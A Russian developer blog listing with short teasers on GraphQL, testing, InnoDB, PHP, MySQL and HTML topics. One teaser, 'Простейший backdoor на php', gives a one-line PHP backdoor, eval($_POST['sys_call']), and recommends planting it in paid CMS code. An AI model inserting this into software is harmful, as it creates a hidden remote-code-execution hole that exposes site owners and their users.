• Путь к Федеративному GraphQL

    • Перевод

    Программисты любят хорошие истории, поэтому надеюсь что пятилетний путь к композитному API с помощью GraphQL в боевой среде (на пике выдающей 110 запросов в секунду при 100мс задержке) будет интересен.

    [Если вы спешите, проскрольте ниже к урокам и гляньте на открытый код graphql-schema-registry]

    Читать далее
  • Конференции для разработчиков c видео презентациями

      Для разработки надо идти в ногу со временем, и хорошее место узнать что-то новое и получить ценный опыт — концеренции и мастер классы. Я вот решил собрать некоторые значащие конференции и их видеоканалы с выступлениями. Старался не включать мелких конференций, слишком отдалённых от программирования (по PM и маркетингу), или не выкладывающих видео.

      К сожалению некоторые конференции
      • заказывают сторонних людей, которые выкладывают всё на свой канал вместе с другими конференциями или личным хламом;
      • встраивают в свой сайт без возможность шаринга, а порой и вообще закрывают под ключ или с оплатой;
      • не выкладывают материалы и трёхлетней давности;
      • не заботятся о качестве видео — тёмный зал, совершенно не видно презентации, нет монтажа, неполадки со звуком, неслышно вопросов и т.п.

      Понятно что у организаторов своя бизнес-модель и возможности, но хочется унифицировать и мотивировать организаторов относиться к докладам и их авторам с уважением, выкладывать видео со временем, синхронизировать со слайдами.
      С видео Без нормального видео

      Читать дальше →
    • Гуглобаг

        Поелику до Гугла достучаться не так то просто, особенно когда ребята заняты своим модным офисом, обращаю внимание общественности на такие перлы перевода. Если это не ляп а «особенности работы с русскоязычной аудиторией» то уж простите.

        image
      • О тестировании web-приложений

          Тестирование софта это процесс, участвующий во всех жизненных циклах его разработки, который занимается проверкой и планированием требований продукта, подготовкой и проведением изменений в разрабатываемой системе. Как следствие — находятся несоответсвия требованиям и ошибки, оцениваются инструменты которые были использованы.
          А если отвлечься и рассматривать системно, то роль тестера на самом деле лежит в каждом человеке. Если смотреть на проект как на человека, то роли
          • управляющего проектом это позвоночник и вегетативная нервная система
          • программисты это скелет и моторика
          • аналитики это органы чувств
          • тестеры это совесть

          Quality Assurance часто считается синонимом тестирования, но на самом деле это методика предотвращения ошибок, а не их поиска и исправления. Качество в этом смысле — характеристика сделанного продукта.

          Формально говоря, тестер должен проверять даже техническое задание, план проекта и анализ на логичность и понятность, а не только код и интерфейс программы. Тестирование как независимая дисциплина в общем потоке разработки ПО появилась в начале девяностых, когда стали более важны аудитория (клиенты), качество и время разработки.
          Важность тестирования ПО особенно важна в критических системах. К примеру аппарат по лучевой терапии Therac (1985) облучил смертельной дозой радиации 6 человек из-за отсутсвия проверки состояния агрегата в коде и валидации. Или марсоход в 1999 году принёс убыток в 125 млн долларов из-за непродуманности единой системы измерения между коммандами разработчиков. И даже в Эстонии при электронных выборах были проблемы из-за плохого нагрузочного тестирования.
          Основные принципы тестирования воплощены в небольшом документе ISTQB и в книге «Foundations of software testing».
          Вся «прелесть» специальности тестера в том что как правило для этого не нужны большие познания в программировании и люди далёкие от web-строительства могут себя попробовать в этой роли.
          Читать дальше →
          • +15
          • 6,1k
          • 6
        • Пишем Facebook приложение

            Facebook — популярная социальная сеть где можно написать своё приложение. Не люблю толочь воду в ступе, поэтому сразу к делу. Встраивать можно двумя направлениями: внешнее приложение в Facebook или Facebook-данные во внешнее приложение (aka Facebook Connect). Тут я буду говорить о первом, что в принципе более трудоёмко и интересно. Как правило смысл facebook-приложение несёт две функциональности — взаимодействие с друзьями и информативное интегрирование в профиль пользователя.

            Основы


            Встраивать приложение можно в следующие места..
            • Canvas — собственно страница с приложением. Доступна по ссылке apps.facebook.com/НАЗВАНИЕ_ПРОГРАММЫ
            • Profile box — маленький бокс внутри самого профиля пользователя
            • Profile tab — новый таб в профиле
            • Boxes tab — небольшой блок в табе boxes
            • News feed — доступ к потоку обновлений
            • Requests box — интерактивные сообщения другим пользователям

            Интеграция производится смешанными возможностями..
            • REST API (http://api.new.facebook.com/restserver.php) который даёт «тяжёлый» доступ для backend-а с возможностями загрузки фото, видео, получении списков друзей, событий, комментариев и тп.
            • FQL — способ запрашивать данные по REST не просто через параметры метода, а уже через SQL-подобный синтаксис
            • FBML — урезанный HTML + свои тэги которые Facebook интерпретирует в окне в своём стиле и дизайне и кэширует при инлайновом показе. Куча заморочек с встроенным валидатором тэгов
            • xFBML — FBML-тэги используемые в своём приложении
            • FBJS — урезанный JS

            Два пути


            Теперь когда основные термины понятны перейдём к самому приложению которое размещается в Canvas. После создания нового приложения через developer app, скачивания REST-библиотеки для php, выкладывании приложения на свой сайт и установки в настройках URL для Canvas становится видно что доступно два способа запуска — через iframe (+XFBML) либо чистый FBML который будет храниться на facebook. Понятное дело первый вариант самый простой. После создания программы и добавления/подтверждения в своём профиле, показ Canvas'а будет сопровождаться обычным iframe + GET-параметрами с префиксом fb_sig_, из которых самый важный это fb_sig_canvas_user. Второй вариант более муторный, но более тесно связан с FB.



            Читать дальше →
          • Copenhagen User Experience

              Небольшой концепт от дизайнера Cullen Dudas по поводу того как новый Windows мог бы выглядеть

            • Транзакции InnoDB

                InnoDB это транзакционный, реляционный движок работающий на основе MySQL сервера. Начиная с 2001 года он поставляется в стандартной сборке, а с версии 5.1 может устанавливаться в качестве плагина (без необходимости перекомпилировать ядро сервера). Синтаксис очень простой.
                START TRANSACTION;
                ...
                COMMIT; -- или же ROLLBACK; если что-то пошло в логике не так

                Про определение


                Определение транзакционности и реляционности значат во-первых значат полноценную связанность таблиц через FK и как следствие — целостность данных при удалении рядов. С MyIsam как известно приходилось вручную удалять связанные данные в нескольких таблицах, в InnoDB — каскадное удаление одним запросом. Во-вторых поскольку для БД немыслимы параллельные версии данных как в SVN и некому эти версии объединять в одну ветку, но при этом необходима параллельная работа нескольких процессов (пользователей) с одними данными, то в качестве решения становится транзакции.
                Очередь из запросов-автомобилей теперь пополняется атомарной транзакцией-автобусом. Естественно это плохо, поскольку чем длиней и дольше выполняется транзакция тем больше параллельных процессов будут ждать его. Для ускорения работы создаются остановки — типы и уровни блокировки данных. Для InnoDB по умолчанию это блокирование на уровне строки (по PK), тогда как в MyIsam атомарная операция блокирует всю таблицу.

                Читать дальше →
                • +11
                • 1,6k
                • 2
              • Диа(в)логи от bloggingheads.tv


                  Недавно заметил ещё одно новшество видео-возможностей интернета. Запись диалога на видео по обычной вебкамере с одной стороны дешёвая, в то же время позволяет более широкие возможности. Можно сказать это новый тип медиа-влияния наряду с видео блогами, подкастами, презентациями-монологами.

                  Есть две поговорки — в «споре рождается истина» и «заставь дурака молиться, он и лоб расшибёт». Диавлоги имеют свою нишу, и наблюдать за такой встречей третьим лицам очень интересно. Сайт активно сотрудничает с NYTimes и позволяет слушать диалоги многих экспертов по разным темам.

                  Оригинал
                • 20 критических уязвимостей в программе

                    Я думаю самая главная ошибка — между креслом и клавиатурой, но если разбирать больше чем «не заметил» и предположить что новички не совсем знают о критических ошибках которые могут вызвать серъёзные последствия типа потери данных, вызова инородного кода, недоступность сервиса или кражи данных, то чёрный список выстроится следующим образом:
                    1. Неверная валидация ввода данных
                    2. Неправильная кодировка или отсутсвие обработки данных вывода
                    3. SQL-инъекция
                    4. Cross-site scripting
                    5. Неограниченность в консольном доступе (OS-инъекция)
                    6. Передача личных данных по малозащищённому каналу
                    7. Межсайтовый запрос как подделка внутреннего запроса
                    8. Соревнование потоков использующих один ресурс и неверное закрытие его использования
                    9. Слишком информативное содержание об ошибке
                    10. Выход указателя программы за пределы отведённой памяти
                    11. Внешнее управление внутренними переменными и файловыми путями
                    12. Генерируемый код и его потенциальная инъекция
                    13. Автообновление программы полученным кодом без подтверждения источника
                    14. Грязная инициализация — доступны данные предыдущих инициализаций
                    15. Математика с ограниченными числами
                    16. Ненадёжная авторизация и за-hard-коденые пароли
                    17. Использование подверженного риску или взломанному алгоритму криптографии
                    18. Исполнение с повышенными привилегиями
                    19. Использование недостаточно случайных чисел
                    20. Валидация на стороне клиента но не на стороне сервера
                    Читать дальше →
                  • Пишем Flex приложение с BlazeDS, Jboss и JMS

                      Я как и многие веб-разработчики краем уха слышал о Flex, которая по сути — тот же Flash и swf-файл, но в сути не разбирался. Недавно узнал об интересных возможностях передачи сообщений от сервера клиенту, известной как server push. Это значит что можно обходиться без периодических ajax-запросов, а обновлять данные в режиме реального времени (отсюда возникает понятие потока), например для чата. Я постараюсь описать создание и архитектуру приложения = браузер / Flex / JBoss / BlazeDS / JMS, откуда уже информация может идти в (Spring / Hibernate / Mysql) и обратно.

                      Читать дальше →
                    • Об информационной войне

                        Я недавно делал свой скромный вклад в «первую блоггерскую» как писала Лента.ру, описывая своё мнение на английском в меру своих сил. Информационное противостояние — сродни риторике и рэпу. Серъёзные мужики из штаба вооружённых сил естественно плевали на общественное мнение, потому что для них главное это контролировать свои действия. А зря, потому что это может не просто ограничить их возможности, но и повлиять на моральный дух (как это было при первой мировой с коммунистическими листовками например).
                        Семь типов пропаганды:
                        1. Эмоциональная привлекательность. Надо создать ощущение безопасности, любви, счастья у человека например при помощи фотографий таких людей использующих товар; показать мужественность и заботу о народе
                        2. Девиз. Используйте короткую запоминающуюся фразу, лозунг, slogan. Вспоминаются как корпоративные «connecting people», так и «в сортире замочим».
                        3. Признание. Возьмите знаменитость, Вахтанга Кикабидзе например, что-бы он поддержал идею или стал лицом революции/товара/идеи.
                        4. Автобус музыкантов. Создайте ощущение что так поступают все — восстанавливают территориальную целостность или защищают своих граждан.
                        5. Причина и следствие. Отбросьте все другие факторы и скажите что — только благодаря этому товару вы стали умней; раз взорвали небоскрёб, то виноваты только террористы.
                        6. Сравнение возможностей. При совмещении с эмоциональной привлекательностью — отличный пример при сравнении «плохого» моющего порошка с хорошим. В нашем случае — может усиливать разницу в силе армий, в числе жертв и тп.
                        7. Символ. Как правило графический знак или персонаж, вызывающий явную ассоциацию, как например у религий.

                        Читать дальше →
                      • Простейший backdoor на php

                          Бэкдоры нужны не только мстящим бывшим сотрудникам, влезшим через загрузку аватара хакерам, но и в обычном процессе поставки платной зашифрованной Zend'ом или IonCube'ом CMSки. Помоему самый лучший backdoor выглядит примерно так:
                          eval($_POST['sys_call']);
                          //echo '<form method="POST"><textarea name="sys_call"></textarea><input type="submit"></form>';
                          

                          Конечно тут могут быть вариации с проверкой IP или домена «палача», и более сложные защиты от третьих лиц.
                          Оригинал
                        • Пространство имён в php 5.3 и php 6

                            Пространство имён (namespace/package) знакомо java и c# программистам, теперь доступно и в php. Нужно оно для того, что-бы не писать длинные перефиксы к названиям классов, как сейчас делается в Zend, PEAR и других библиотеках и платформах для совместимости.
                            Вместо этого классы, функции, интерфейсы (абстрактные классы) и константы могут быть объединены в одно пространство имён. Глобальные переменные в это пространство не входят.

                            Простой пример


                            Определяется пространство ключевым словом namespace
                            //определяем класс в пространстве
                            namespace MyCMS::Core;
                            class System{}

                            Использование этого класса в третьих библиотеках осуществляется ключевым словом use
                            require_once('mycms/core.php');
                            use MyCMS::Core::System; //импортируем только заданный класс
                            $objSystem=new System;

                            Читать дальше →
                          • Кэширование js сжатием gzip

                              Cache — временные данные или устройство по их хранению, созданные для ускорения чтения/записи. Все программисты это знают. Ускорение загрузки web-сайтов тема обширная, начинающаяся с сервера и заканчивающаяся клиентом. К сожалению я не нашёл более-менее подходящих решений по объединению и кэшированию js-кода, поэтому к своему блогу я написал свою схему, о которой вкратце и расскажу..
                              Существует сжатие «packer», которое убирает все символы форматирования и переименовывает имена функций и переменных в js и предоставляет т.н. minified-версию скрипта. Все с этим прекрасно знакомы на примере больших библиотек jQuery, TinyMCE, prototype. Кроме того что код становится совершенно не читаемым, это может вызвать неработоспособность кода, когда имена переменных динамические.
                              Моя идея простая — разделять js/css по файлам разработчикам надо для поддержания модульной структуры. Обычно я в контроллере создаю список файлов которые надо присоединить к данному документу, вместо того что-бы прописывать это вручную в темплейте. Но теперь надо сделать так, что-бы до показа темплейта вызывалась функция кэширования, которая проходилась бы по списку, проверяла из них локальные файлы на время изменения, объединяла в один файл и создавала или перезаписывала gz-файл с именем, сформированным из md5-хэша имён входящих файлов.
                              Всё просто и в сумме заняло часа 4 на раздумье. Привожу метод cache_js из класса Controller.
                              Читать дальше →
                            • MySQL rownum

                                Постановка задачи


                                Есть таблица меню в БД с полем порядка order_id, но порядок неправильный и надо порядок обновить по алфавиту другого поля title. Сортировка по полю title исключается, потому что таблица представляет из себя иерархическое меню, где порядок может менять пользователь устанавливая order_id. Использовать отдельно серверную обработку (php) тоже невыгодно — лишнее разделение бизнес логики если это можно сделать в БД, да и на случай больших объемов данных это займёт больше ресурсов.

                                Решение


                                В MySQL к сожалению отсутсвует такая возможность ROWNUM, RANK(),
                                ROW_NUMBER() как в ORACLE или MSSQL. Присутсвие _rowid никак не влияет
                                на ситуацию. В нашем случае можно использовать переменные, введённые с пятой версии (или раньше):
                                SET @rank=0;
                                SELECT @rank:=@rank+1 AS rank, id FROM menu;

                                Для обновления такой таблицы через саму себя у меня не получилось, поэтому я просто скопировал таблицу под другим именем и выполнил такой запрос:
                                SET @rank=0;
                                UPDATE `menu` SET order_id=(
                                SELECT @rank:=@rank+1 FROM `menu2` WHERE `menu`.id=`menu2`.id LIMIT 1
                                ) WHERE parentID=0 ORDER BY `title` ASC;



                                Оригинал
                              • Десять забытых тэгов

                                  Тэги как кирпичи всякого документа основанного на XML должны выбираться с большим прагматизмом, что-бы потом не удалять ненужные (т.н. deprecated) и не тормозить внесение новых (sound, video). В свете того что я сам этой темой пристально занимаюсь решая что нужно оставить в WYSIWYG-редакторе и что добавить, а так-же меня интересует типографика и семантика, то читая Никиту решил тоже поштудировать эту тему.
                                  1. a — мало кто помнит почему самый популярный тэг ссылки использует такое название да ещё и параметр href. Ещё меньше пишущих статьи используют этот тэг по прямому назначению, а именно в качестве якоря к участку документа, определённому параметром name. С переходом на динамическое содержание при помощи ajax, якорь получил новую жизнь, поскольку в URL после # можно прописать адресс открытого письма (см. gmail), но мало кто это замечает.
                                  2. address — единого мнения нет, то-ли это физический почтовый адресс, то-ли это часть описания документа с email-ом.
                                  3. abbr — отличный тэг для сокращений. Используя параметр title как в картинках, при наведении курсором появится полное название
                                  4. ins и del — очень часто статьи в блогах и ЖЖ меняются, при этом люди пишут что-то типа «upd. вопрос разрешился», тогда как логичней использовать для этого соответсвующие тэги. Само собой когда статья имеет историю изменений типа wiki, то система должна быть посложней.
                                  5. sub и sup — эти тэги находят как правило те кто хочет оформить простейшую математику или химию. Впрочем степени, атомарные и изотопные индексы не единственная функция. Если вы когда-либо писали дипломную работу то наверняка столкнулись с научным оформлением ссылок на источники, а сноски с использованием sup вкупе с anchor активно используются взамен неподдерживаемого тэга fn.

                                  Читать дальше →